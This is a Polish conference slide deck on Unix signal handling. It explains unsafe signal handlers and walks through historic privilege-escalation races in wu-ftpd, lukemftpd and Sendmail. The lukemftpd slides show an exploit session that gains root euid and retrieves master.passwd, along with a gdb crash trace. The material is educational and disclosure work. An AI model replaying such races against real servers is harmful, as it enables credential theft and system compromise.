



Sygnały w systemie Unix

Przemysław Frasunek

OS Camp 2006

Agenda

- Wstęp
 - Definicja sygnału
 - Implementacja
 - Jak to działa?
- Problemy
 - Poprawne i niepoprawne konstrukcje
- Przykłady błędów
 - Wu-ftp
 - Lukemftpd
 - Sendmail

Definicja sygnału

- Asynchroniczne zdarzenie skierowane do procesu
 - od innego procesu (np. `SIGINT`, `SIGKILL`)
 - od jądra (np. `SIGPIPE`, `SIGCHLD`, `SIGALRM`)
 - od jądra, ale przez wyjątek sprzętowy (np. `SIGSEGV`, `SIGBUS`)

Implementacja

- Implementacja – nie taka prosta
 - `kern_sig.c` – 3000 linii kodu (FreeBSD 6)
- RTOS, embedded
 - zazwyczaj komunikaty zamiast sygnałów
- FreeBSD
 - `proc->p_sigacts` – wskaźniki na sighandlery
 - `thread->td_siglist` – sygnały odebrane
 - `thread->td_sigstk` – wskaźnik na stos

Jak to działa?

- jądro sprawdza odebrane sygnały przy wychodzeniu z trybu jądra
 - wywołanie systemowe
 - wyjątek
 - przerwanie zegarowe
- Sygnały mają domyślne akcje
 - przerwanie procesu
 - przerwanie procesu i stworzenie coredumpa
 - zignorowanie sygnału



Jak to działa?

- Akcje mogą być modyfikowane przez programistę (`signal()`)
 - ignorowanie
 - blokowanie – sygnał czeka aż do odblokowania
 - własny sighandler
- W czasie obsługi sygnału, pozostaje on *zablokowany*
 - ale inne sygnały w tym czasie nie są

Jak to działa?

- Niektóre wywołania systemowe są przerywane przez sygnał
 - zwracają wtedy EINTR
- Dziedziczone po `fork()`
- Czyszczone po `execve()`
- Pewien sygnał może być dostarczony zdalnie, przez sieć
 - który i jak?

Agenda

- Wstęp
 - Definicja sygnału
 - Implementacja
 - Jak to działa?
- **Problemy**
 - **Poprawne i niepoprawne konstrukcje**
- Przykłady błędów
 - Wu-ftp
 - Lukemftpd
 - Sendmail

Co tu jest źle?

```
int onsignal(int sig) {
    syslog(LOG_ERR, "caught signal %d!\n",
        sig);
    do_shutdown();
}

int main(void) {
    signal(SIGINT, onsignal);
    signal(SIGQUIT, onsignal);

    syslog(LOG_INFO, "initializing...\n");
    for(;;) {
        do_very_important_thing();
    }
}
```

Co tu jest źle?

- Dwa poważny błędy
 - wejście do tej samej procedury obsługi sygnału z dwóch różnych sygnałów
 - zastosowanie niebezpiecznych funkcji wewnątrz procedury obsługi sygnału

Scenariusz ataku

- jesteśmy w funkcji `main()`, wchodzimy właśnie do funkcji `syslog()`
- `syslog()` wchodzi do `malloc()` w celu przygotowania miejsca dla komunikatu
- `malloc()` rozpoczyna linkowanie nowego chunka
- **sygnał SIGINT!**

Scenariusz ataku

- wchodzimy do `on_signal()`
- wchodzimy do `syslog()`
- ponownie rozpoczyna się alokacja pamięci
- `malloc()` trafia na niespójność w cyklicznej liście chunków
- **Segfault lub** `abort()`

Drugi scenariusz ataku

- Podobną sytuację można sprowokować wysyłając SIGINT i SIGQUIT tuż po sobie
 - alokacja rozpocznie się po odebraniu SIGINT
 - i w tym momencie nadejdzie SIGQUIT, powodując ponowną alokację

Konkluzje

- W sighandlerach można stosować bardzo ograniczony zakres funkcji, ich lista znajduje się w `sigaction(2)`
- Nawet nie myśl o dynamicznej alokacji pamięci w sighandlerze...
- Wystrzegaj się operacji nieatomowych

Poprawiony kod naszego programu

```
int caught = 0;

int onsignal(int sig) {
    caught = sig;
}

int main(void) {
    signal(SIGINT, onsignal);
    signal(SIGQUIT, onsignal);

    syslog(LOG_INFO, "initializing...\n");
    for(;;) {
        if (caught) {
            syslog(LOG_ERR, "caught signal %d!\n", sig);
            do_shutdown();
        }
        do_very_important_thing();
    }
}
```

setjmp () i longjmp ()

- setjmp () - zachowanie stanu wykonywanej funkcji
 - zachowanie rejestrów
- longjmp () – przywrócenie stanu
- skutek: nie można wywołać longjmp() jeśli funkcjawołająca setjmp() już się zakończyła
 - BSD – skok w „krzaki”, segfault
 - Linux – nieprzewidywalne zachowanie aplikacji

setjmp () i longjmp ()

- Dlaczego o tym mówię?
 - są często używane w sighandlerach
 - pozwalają na „bezpieczne” wyskoczenie z sighandlera do głównego kontekstu programu



Agenda

- Wstęp
 - Definicja sygnału
 - Implementacja
 - Jak to działa?
- Problemy
 - Poprawne i niepoprawne konstrukcje
- Przykłady błędów
 - Wu-ftp
 - Lukemftpd
 - Sendmail

Problemy z FTP

- Połączenie kontrolne, połączenie dla danych
- Jak zasygnalizować chęć przerwania transferu?
 - Przecież serwer robi cały czas `write()` na połączeniu dla danych, nie może zrobić blokującego `read()` na połączeniu kontrolnym
 - Klient wysyła `MSG_OOB`
 - Serwer dostaje `SIGURG`
 - `write()` wraca z `EINTR`
 - Serwer obsługuje sygnał, wczytuje komendę z połączenia kontrolnego
 - Jeśli `ABOR`, przerywa transfer

Problemy z FTP

```
sigpipe_handler() {  
    seteuid(0);  
    do_cleanup();  
    seteuid(uid);  
}
```

```
sigurg_handler() {  
    do_abor();  
    back_to_command_parser();  
}
```

Problemy z FTP

- CERT-CA-97.16
 - wu-ftpd
 - OpenBSD, NetBSD, FreeBSD
 - Irix, HP-UX, ...
- Jak to działa?
 - rozpoczynamy transfer FTP
 - zrywamy połączenie danych
 - pojawia się `SIGPIPE`
 - `EUID=0` przez mikrosekundy
 - wysyłamy `MSG_OOB`
 - wykonuje się `ABOR`
 - wracamy do parsera komend z `EUID=0`

Problemy z FTP

- lukemftpd (tnftpd) w 2004 r.
 - Po SIGURG można wykonać każdą komendę, nie tylko ABOR
 - również USER i PASS – sesja jest wyczyszczona, ale serwer „myśli”, że transfer dalej trwa
 - drugi raz USER/PASS – sprawdzanie hasła wymaga EUID=0, trwa to kilka mikrosekund
 - teraz SIGURG!
 - patrz punkt pierwszy

Problemy z FTP

```
-----  
Connected to 1.1.1.1. Trying to log in.  
<-- 220 x FTP server (NetBSD-ftpd 20030122) ready.  
--> USER x  
<-- 331 Password required for x.  
--> PASS x  
<-- 230-  
--> FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004  
<--  
<-- 230 User x logged in.  
Logged in, starting dummy transfer.  
--> PORT 1,1,1,1,148,252  
<-- 200 PORT command successful.  
--> STOR 31337  
<-- 150 Opening ASCII mode data connection for '31337'.  
--> òUSER x  
--> òUSER x  
<-- 331 Password required for x.  
--> PASS x  
<-- 230-  
--> FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004  
<--  
<-- 230 User x logged in.  
Ok, relogged with transflag = 1  
--> USER x  
<-- 331 Password required for x.  
ftpd has euid=0 now, entering time critical section  
--> ò  
  
CWD /  
<-- 500 '': command not understood.  
250 CWD command successful.  
CWD /etc  
250 CWD command successful.  
RETR master.passwd  
125 Using existing data connection for 'master.passwd' (1177 bytes).  
226 Transfer complete.  
-----
```

Problemy z FTP

- Ale to jeszcze nie koniec...
 - a co, jeśli przerwiemy transfer, który już się skończył, a serwer „myśli”, że dalej trwa?
 - pamiętacie, co mówiłem o `set jmp ()` i `long jmp ()`?

Problemy z FTP

```
Connected to 1.1.1.1. Trying to log in.
<-- 220 x FTP server (NetBSD-ftpd 20030122) ready.
--> USER x
<-- 331 Password required for x.
--> PASS x
<-- 230-
<--      FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Logged in, starting dummy transfer.
--> PORT 1,1,1,1,205,38
<-- 200 PORT command successful.
--> STOR 31337
<-- 150 Opening ASCII mode data connection for '31337'.
--> òUSER x
--> òUSER x
<-- 331 Password required for x.
--> PASS x
<-- 230-
<--      FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Ok, relogged with transflag = 1
--> òABOR
--> òABOR
426 Transfer aborted. Data connection closed.
226 Abort successful
```

Problemy FTP

```
Breakpoint 1, abort ()
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2531
2531          tmpline[0] = '\0';
(gdb) bt
#0  abort ()
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2531
#1  0x8056d2e in yyparse ()
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:475
#2  0x805545f in ftp_handle_line (cp=0x8063c40 "ABOR\n")
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1470
#3  0x8053e06 in myoob (signo=16)
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2568
#4  0xbfbfffac in ?? ()
#5  0x4813a3ab in __srefill () from /usr/lib/libc.so.4
#6  0x4813a24f in __srget () from /usr/lib/libc.so.4
#7  0x80552fd in getline (s=0x8064780 "PASS x\n", n=511, iop=0x48156f00)
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1425
#8  0x80554a4 in ftp_loop ()
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1480
#9  0x804fcae in main (argc=1, argv=0xbfbffaec)
  at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:569
#10 0x804ae35 in _start ()
(gdb) n
2532          is_oob = 0;
(gdb) n
2533          reply(426, "Transfer aborted. Data connection closed.");
(gdb) n
2534          reply(226, "Abort successful");
(gdb) n
2535          longjmp(urgcatch, 1);
(gdb) n

Program received signal SIGSEGV, Segmentation fault.
0xbfbff9a8 in ?? ()
(gdb) x/x 0xbfbff9a8
0xbfbff9a8:      0x48156f00
```

Inne „miłe” przykłady

■ Sendmail 8.11.3

- Wiele sygnałów, jeden sighandler
- `syslog()`, `malloc()`, `free()` w sighandlerze

■ Sendmail 8.13.5

- `SIGALRM` informuje o timeoucie
- Sighandler dopisuje dane do statycznego bufora, **już wypełnionego wcześniej**
- Klasyczny buffer overflow

Inne „miłe” przykłady

- Therac-25
 - 3 ofiary śmiertelne błędu typu *race condition*



Dziękuję za uwagę

<http://www.frasunek.com>
przemyslaw@frasunek.com